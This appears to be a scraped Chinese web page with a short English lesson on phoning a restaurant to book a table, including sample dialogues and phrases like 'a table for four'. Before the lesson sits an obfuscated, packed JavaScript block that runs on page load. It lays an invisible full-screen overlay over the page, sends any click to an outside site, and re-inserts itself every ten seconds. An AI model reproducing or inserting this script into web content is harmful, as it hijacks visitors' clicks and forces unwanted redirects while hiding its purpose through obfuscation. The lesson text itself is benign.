<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>大城市里好吃的餐馆向来不缺顾客。想去尝尝米其林餐厅，或者赶上现在正热火朝天的纽约餐厅周，想去吃个热闹就非得提前订位不可了。
![]()
虽然现在很多前卫的餐馆都可以网上订位了（美国版的大众点评网 Yelp 以及 OpenTable 都简单易用），但电话订位还是最常用的方式哦，何况有些老牌名店根本不屑这些新潮玩意。
英语电话订位跟中文没什么两样，只要简单扼要，讲清楚人数、时间即可。如果餐厅特别繁忙，你也可以根据自己的情况看是否能做出调整。
服务员接起电话，一般都会先自报门户：
--Good afternoon, this is xxx （餐厅名，听不清也没关系，就是你想去的那一家）. How may I help you?
这时你就可以告诉对方几人成行、什么时间了。
--Hello, I’d like to book a table for four on Wednesday night please.
"a table for x (number of people)" 是一个固定搭配，意思是一张可以坐x个人的桌子。类似的用法还可以用在订酒店的时候。可以这么说: “I'd like a room for two, please."
接下来就是确定具体时间了。对方会问：
--What time would you like to come?
--7 pm.
如果这是个火爆的餐厅，可能在晚餐的高峰时期已经订满了。那么如果餐厅在晚些时候有位置，对方会说：
--I’m sorry, we are fully booked at 7. How about 8?
如果这个时间可以，你可以说：
--That works.
如果时间不方便调整，你可以说:
--That would be a little too late. Another time then! Thank you!
确定好时间后，对方会问你的姓名和电话号码以便联系：
--Great! May I have your name and phone number, please?
--Sure. My name is Lisa, and my phone number is …
--Got it. See you on Wednesday!（摘自百度贴吧“留留学”吧） |
收藏